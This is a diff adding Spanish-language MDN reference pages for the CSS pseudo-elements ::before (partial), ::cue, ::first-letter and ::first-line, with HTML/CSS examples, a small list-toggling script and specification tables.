+<h3 id="Añadiendo_comillas">Añadiendo comillas</h3>
+
+<p>Un ejemplo simple del uso del pseudoelemento <code>::before</code> es el proporcionar comillas. Aquí, usamos <code>::before </code>y <code>{{Cssxref("::after")}}</code> para insertar caracteres de comillas.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush:html notranslate">&lt;q&gt;Some quotes&lt;/q&gt;, he said, &lt;q&gt;are better than none&lt;/q&gt;.</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css notranslate">q::before {
+  content: "«";
+  color: blue;
+}
+q::after {
+  content: "»";
+  color: red;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('Añadiendo_comillas', '500', '50', '')}}</p>
+
+<h3 id="Ejemplo_decorativo">Ejemplo decorativo</h3>
+
+<p>Podemos estilizar el texto o imágenes en la propiedad {{cssxref("content")}} de casi cualquier forma que queramos.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;span class="ribbon"&gt;Notice where the orange box is.&lt;/span&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.ribbon {
+  background-color: #5BC8F7;
+}
+
+.ribbon::before {
+  content: "Look at this orange box.";
+  background-color: #FFBA10;
+  border-color: black;
+  border-style: dotted;
+}</pre>
+
+<h4 id="Resultado_2">Resultado</h4>
+
+<p>{{EmbedLiveSample('Ejemplo_decorativo', 450, 60)}}</p>
+
+<h3 id="Lista_de_tareas">Lista de tareas</h3>
+
+<p>En este ejemplo, creamos una lista de tareas simple usando pseudo-elementos. Este método puede ser usado comúnmente para añadir detalles a la interfaz y mejorar su experiencia de usuario.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Buy milk&lt;/li&gt;
+  &lt;li&gt;Take the dog for a walk&lt;/li&gt;
+  &lt;li&gt;Exercise&lt;/li&gt;
+  &lt;li&gt;Write code&lt;/li&gt;
+  &lt;li&gt;Play music&lt;/li&gt;
+  &lt;li&gt;Relax&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css notranslate">li {
+  list-style-type: none;
+  position: relative;
+  margin: 2px;
+  padding: 0.5em 0.5em 0.5em 2em;
+  background: lightgrey;
+  font-family: sans-serif;
+}
+
+li.done {
+  background: #CCFF99;
+}
+
+li.done::before {
+  content: '';
+  position: absolute;
+  border-color: #009933;
+  border-style: solid;
+  border-width: 0 0.3em 0.25em 0;
+  height: 1em;
+  top: 1.3em;
+  left: 0.6em;
+  margin-top: -1em;
+  transform: rotate(45deg);
+  width: 0.5em;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">var list = document.querySelector('ul');
+list.addEventListener('click', function(ev) {
+  if( ev.target.tagName === 'LI') {
+     ev.target.classList.toggle('done');
+  }
+}, false);
+</pre>
+
+<p>Aquí se está ejecutando el ejemplo de arriba. Nótese que no se están usando íconos, y la marca de selección en realidad es el pseudoelemento <code>::before</code> que ha sido estilizado en CSS. Puedes interactuar con el ejemplo para ver los cambios.</p>
+
+<h4 id="Resultado_3">Resultado</h4>
+
+<p>{{EmbedLiveSample('Lista_de_tareas', 400, 300)}}</p>
+
+<h3 id="Caracteres_especiales">Caracteres especiales</h3>
+
+<p>Como esto es CSS y no HTML, <strong>no </strong>se pueden usar entidades de marcado en los valores del contenido. Si se necesita usar caracteres especiales, y no se puede ingresar literalmente en la cadena de contenido CSS, se utiliza una secuencia de escape unicode, consistiendo de una barra invertida seguida de un valor unicode hexadecimal.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ol</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Crack Eggs into bowl<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Add Milk<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Add Flour<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span> <span class="attr-name token">aria-current</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>step<span class="punctuation token">'</span></span><span class="punctuation token">&gt;</span></span>Mix thoroughly into a smooth batter<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Pour a ladleful of batter onto a hot, greased, flat frying pan<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Fry until the top of the pancake loses its gloss<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Flip it over and fry for a couple more minutes<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>serve with your favorite topping<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ol</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css language-css notranslate"><code class="language-css">
+<span class="selector token">li</span> <span class="punctuation token">{</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span><span class="number token">0.5</span><span class="token unit">em</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">li<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">aria-current</span><span class="operator token">=</span><span class="token value">'step'</span><span class="punctuation token">]</span></span></span> <span class="punctuation token">{</span>
+  <span class="property token">font-weight</span><span class="punctuation token">:</span>bold<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">li<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">aria-current</span><span class="operator token">=</span><span class="token value">'step'</span><span class="punctuation token">]</span></span><span class="pseudo-element token">::after</span></span> <span class="punctuation token">{</span>
+  <span class="property token">content</span><span class="punctuation token">:</span> <span class="string token">" \21E6"</span><span class="punctuation token">;</span> <span class="comment token">/* Hexadecimal for Unicode Leftwards white arrow*/</span>
+  <span class="property token">display</span><span class="punctuation token">:</span> inline<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</code>
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-before', '::before')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Sin cambios significativos desde la especificación previa.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Transitions", "#animatable-properties", "")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td>Permite transiciones en propiedades definidas a los pseudo-elementos.</td>
+  </tr>
+  <tr>
+   <td>{{Specname("CSS3 Animations", "", "")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td>Permite animaciones en propiedades definidas a los pseudo-elementos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#gen-content', '::before')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introduce la sintaxis de doble símbolo <code>:</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#before-after-content', '::before')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial, usando la sintaxis de un símbolo <code>:</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.before")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{cssxref("content")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_cue/index.html b/files/es/web/css/_doublecolon_cue/index.html
new file mode 100644
index 0000000000..033849a603
--- /dev/null
+++ b/files/es/web/css/_doublecolon_cue/index.html
@@ -0,0 +1,113 @@
+---
+title: '::cue'
+slug: 'Web/CSS/::cue'
+tags:
+  - '::cue'
+  - Archivos multimedia
+  - CSS
+  - Formato de pistas de texto para la web
+  - Pseudo-elemento
+  - Referencia
+  - Selector
+  - WebVTT
+  - anotaciones
+  - subtítulos
+translation_of: 'Web/CSS/::cue'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">El <a href="/en-US/docs/Web/CSS/Pseudo-elements">pseudo-elemento</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>::cue</code></strong> señala las pistas de texto <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a> dentro del elemento seleccionado. Esto puede ser usado para <a href="https://wiki.developer.mozilla.org/es/docs/Web/API/WebVTT_API#Estilizando_anotaciones_WebVTT">estilizar subtítulos y otras pistas de texto</a> multimedia con pistas de texto.</span></p>
+
+<pre class="brush: css no-line-numbers notranslate">::cue {
+  color: yellow;
+  font-weight: bold;
+}</pre>
+
+<p>Las propiedades son aplicadas al cojunto completo de anotaciones como si fuesen una unidad. La única excepción es que <code>background</code> y sus versiones largas se aplican a cada pista de texto individualmente para evitar crear cajas y oscurecer inesperadamente grandes partes de los archivos multimedia.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Propiedades_permitidas">Propiedades permitidas</h2>
+
+<p>Las reglas cuyos selectores incluyen este elemento solo pueden usar las siguientes propiedades CSS:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/background"><code>background</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-attachment"><code>background-attachment</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-clip"><code>background-clip</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-color"><code>background-color</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-image"><code>background-image</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-origin"><code>background-origin</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-position"><code>background-position</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-repeat"><code>background-repeat</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/background-size"><code>background-size</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/color"><code>color</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font"><code>font</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-family"><code>font-family</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-size"><code>font-size</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-stretch"><code>font-stretch</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-style"><code>font-style</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-variant"><code>font-variant</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/font-weight"><code>font-weight</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/line-height"><code>line-height</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/outline"><code>outline</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/outline-color"><code>outline-color</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/outline-style"><code>outline-style</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/outline-width"><code>outline-width</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/ruby-position"><code>ruby-position</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-combine-upright"><code>text-combine-upright</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-decoration"><code>text-decoration</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-decoration-color"><code>text-decoration-color</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-decoration-line"><code>text-decoration-line</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-decoration-style"><code>text-decoration-style</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-decoration-thickness"><code>text-decoration-thickness</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/text-shadow"><code>text-shadow</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/visibility"><code>visibility</code></a></li>
+ <li><a href="/en-US/docs/Web/CSS/white-space"><code>white-space</code></a></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Estilizando_las_anotaciones_WebVTT_como_blanco_sobre_negro">Estilizando las anotaciones WebVTT como blanco sobre negro</h3>
+
+<p>El siguiente CSS ajusta el estilo de las anotaciones para que el texto sea blanco y el fondo sea una caja negro translúcido.</p>
+
+<pre class="brush: css notranslate">::cue {
+  color: #fff;
+  background-color: rgba(0, 0, 0, 0.6);
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificacion</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("WebVTT", "#the-cue-pseudo-element", "::cue")}}</td>
+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_navegadores">Compatibilidad con los navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página está generada desde datos estructurados. Si quieres contribuir a los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una pull request.</div>
+
+<p>{{Compat("css.selectors.cue")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVTT_API">Formato de pistas de texto para la web (WebVTT)</a></li>
+ <li>{{HTMLElement("track")}}, {{HTMLElement("video")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_first-letter/index.html b/files/es/web/css/_doublecolon_first-letter/index.html
new file mode 100644
index 0000000000..3e243869b6
--- /dev/null
+++ b/files/es/web/css/_doublecolon_first-letter/index.html
@@ -0,0 +1,135 @@
+---
+title: '::first-letter (:first-letter)'
+slug: 'Web/CSS/::first-letter'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::first-letter'
+---
+<div>{{CSSRef}}</div>
+
+<p>El <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements" rel="noopener">pseudo-elemento</a> <strong><code>::first-letter</code></strong> aplica estilos a la primera letra de la primera línea un <a href="https://developer.mozilla.org/es/docs/Web/HTML/Block-level_elements">elemento de bloque</a>, sólo cuando no es precedido de otro contenido (como imágenes o tablas).</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selecciona la primera letra de &lt;p&gt; */
+p::first-letter {
+  font-size: 130%;
+}</pre>
+
+<p>La primera letra de un elemento no es siempre fácil de identificar:</p>
+
+<ul>
+ <li>La puntuación que precede o sigue inmediatamente a la primera letra se incluye. La puntuación incluyo cualquier caracter Unicode definido on las clases <em>open</em> (Ps), <em>close</em> (Pe), <em>initial quote</em> (Pi), <em>final quote</em> (Pf), y <em>other punctuation</em> (Po).</li>
+ <li>Algunos idiomas tienen dígrafos que siempre se capitalizan juntos, como el <code>IJ</code> en holandés. En estos casos, ambas letras del dígrafo deben coincidir con el pseudo-elemento <code>::first-letter</code>. (Esto pobremente implementado en los navegadores; consulte la tabla de compatibilidad).</li>
+ <li>La combinación del pseudoelemento {{ cssxref("::before") }} y la propiedad {{ cssxref("content") }} podría inyectar texto al inico del elemento. En dicho caso, <code>::first-letter</code> se aplicaría a la primera letra de este contenido generado.</li>
+</ul>
+
+<div class="note">
+<p>CSS3 introdujo la notación<code>::first-letter</code> (con doble dos puntos) para distinguir <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes" rel="noopener">pseudo-clases</a> de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements" rel="noopener">pseudo-elementos</a>. Los navegadores también aceptan<code>:first-letter</code>, introducido en CSS2.</p>
+</div>
+
+<h2 id="Propiedades_permitidas">Propiedades permitidas</h2>
+
+<p>Sólo unas pocas propiedades de CSS se pueden usar con el pseudoelemento <code>::first-letter</code>:</p>
+
+<ul>
+ <li>Todas las propiedades de fuente: {{ Cssxref("font") }}, {{ Cssxref("font-style") }}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{ Cssxref("font-variant") }}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{ Cssxref("font-weight") }}, {{ Cssxref("font-size") }}, {{cssxref("font-size-adjust")}}, {{ Cssxref("line-height") }} and {{ Cssxref("font-family") }}</li>
+ <li>Todas las propiedades de fondo: {{ Cssxref("background") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}, {{ cssxref("background-size") }}, {{ Cssxref("background-attachment") }}, and {{cssxref("background-blend-mode")}}</li>
+ <li>Todas las propiedades de márgenes: {{ Cssxref("margin") }}, {{ Cssxref("margin-top") }}, {{ Cssxref("margin-right") }}, {{ Cssxref("margin-bottom") }}, {{ Cssxref("margin-left") }}</li>
+ <li>Todas las propiedades de relleno: {{ Cssxref("padding") }}, {{ Cssxref("padding-top") }}, {{ Cssxref("padding-right") }}, {{ Cssxref("padding-bottom") }}, {{ Cssxref("padding-left") }}</li>
+ <li>Todas las propiedades de bordes: {{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}, {{ cssxref("border-width") }}, {{ cssxref("border-radius") }}, {{cssxref("border-image")}}</li>
+ <li>La propiedad {{ cssxref("color") }}</li>
+ <li>Las propiedades {{ cssxref("text-decoration") }}, {{cssxref("text-shadow")}}, {{ cssxref("text-transform") }}, {{ cssxref("letter-spacing") }}, {{ cssxref("word-spacing") }} (when appropriate), {{ cssxref("line-height") }}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{ cssxref("float") }}, {{ cssxref("vertical-align") }} (sólo si <code>float</code> es <code>none</code>)</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>Hace que la primera letra de cada párrafo sea roja y grande.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
+  ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
+  dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est.&lt;/p&gt;
+&lt;p&gt;Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
+  aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit
+  esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;-El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;_El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;"El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;'El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;*El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;#El comienzo es un signo de puntuación especial.&lt;/p&gt;
+&lt;p&gt;「特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;《特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;“特殊的汉字标点符号开头。&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p::first-letter {
+  color: red;
+  font-size: 130%;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample('Example', '80%', 420) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td>
+   <td>{{ Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Generaliza propiedades permitidas, {{ cssxref("opacity") }}, and {{ cssxref("box-shadow") }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-letter')}}</td>
+   <td>{{ Spec2('CSS3 Text Decoration')}}</td>
+   <td>Permite el uso de {{cssxref("text-shadow")}} con <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Introducción de la sintaxis de doble dos puntos. Definición de casos particulares, como con idiomas específicos (ej., el dígrafo holandés <code>IJ</code>).</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Sin cambios.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Definición inicial, uso de la sintaxis de doble dos puntos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div>
+
+
+<p>{{Compat("css.selectors.first-letter")}}</p>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{cssxref("::first-line")}}</li>
+</ul>
diff --git a/files/es/web/css/_doublecolon_first-line/index.html b/files/es/web/css/_doublecolon_first-line/index.html
new file mode 100644
index 0000000000..671e7716ef
--- /dev/null
+++ b/files/es/web/css/_doublecolon_first-line/index.html
@@ -0,0 +1,122 @@
+---
+title: '::first-line (:first-line)'
+slug: 'Web/CSS/::first-line'
+tags:
+  - CSS
+  - Diseño
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::first-line'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">El <a href="https://developer.mozilla.org/es/docs/Web/CSS/Pseudoelementos">Pseudoelemento</a> <strong><code>::first-line</code></strong> aplica estilos a la primera línea de un <a href="https://developer.mozilla.org/es/docs/Web/HTML/Block-level_elements">elemento de bloque</a>.</span> Nótese que la longitud de la primera línea depende de muchos factores, incluyendo el ancho del elemento, el ancho del documento y el tamaño de fuente del texto.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Selecciona la primera línea de un &lt;p&gt; */
+p::first-line {
+  color: red;
+}</pre>
+
+<div class="note">
+<p>CSS3 introdujo la notación <code>::first-line</code> (con doble dos puntos) para distinguir <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes" rel="noopener">pseudo-clases</a> de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements" rel="noopener">pseudo-elementos</a>. Los navegadores también aceptan <code>:first-line</code>, añadido en CSS2.</p>
+</div>
+
+<h2 id="Propiedades_permitidas">Propiedades permitidas</h2>
+
+<p>Sólo unas pocas propiedades de CSS se pueden usar con el pseudoelemento <code>::first-line</code>:</p>
+
+<ul>
+ <li>Todas las propiedades de fuente: {{Cssxref("font")}}, {{cssxref("font-kerning")}}, {{Cssxref("font-style")}}, {{Cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{Cssxref("font-weight")}}, {{Cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}}, and {{Cssxref("font-family")}}</li>
+ <li>Todas las propiedades de fondo: {{Cssxref("background-color")}}, {{cssxref("background-clip")}}, {{Cssxref("background-image")}}, {{cssxref("background-origin")}}, {{Cssxref("background-position")}}, {{Cssxref("background-repeat")}}, {{cssxref("background-size")}},  {{Cssxref("background-attachment")}}, and {{cssxref("background-blend-mode")}}</li>
+ <li>La propiedad {{cssxref("color")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}}, and {{cssxref("line-height")}}</li>
+ <li>{{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, and {{cssxref("vertical-align")}}.</li>
+</ul>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Los estilos sólo se aplicarán en la primera línea de este párrafo.
+Posteriormente, todo el texto tendrá el estilo normal.
+¿Ves?&lt;/p&gt;
+
+&lt;span&gt;La primera línea de este elemento no recibe ningún estilo
+especial, porque no es un elemento de bloque.&lt;/span&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">::first-line {
+  color: blue;
+  text-transform: uppercase;
+
+
+  /* ADVERTENCIA: NO USES ESTOS*/
+  /* Muchas propiedades son inválidas en pseudoelementos ::first-line */
+  margin-left: 20px;
+  text-indent: 20px;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example', 350, 160)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>
+    <p>Defina más estrictamente dónde <code>::first-letter</code> puede ocurrir. Generaliza propiedades permitidas. Define la herencia de <code>::first-letter</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-line')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Permite el uso de {{cssxref("text-shadow")}} con <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-line', '::first-line')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Introducción de la sintexis de doble dos puntos.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambios.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-first-line-pseudo-element', '::first-line')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial, uso de la sintaxis de doble dos puntos.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>
+<div class="hidden"><br>
+<font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.3333px;"><strong>Compatibilidad</strong></span></font></div>
+
+
+
+<p>{{Compat("css.selectors.first-line")}}</p>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{cssxref("::first-letter")}}</li>
+</ul>
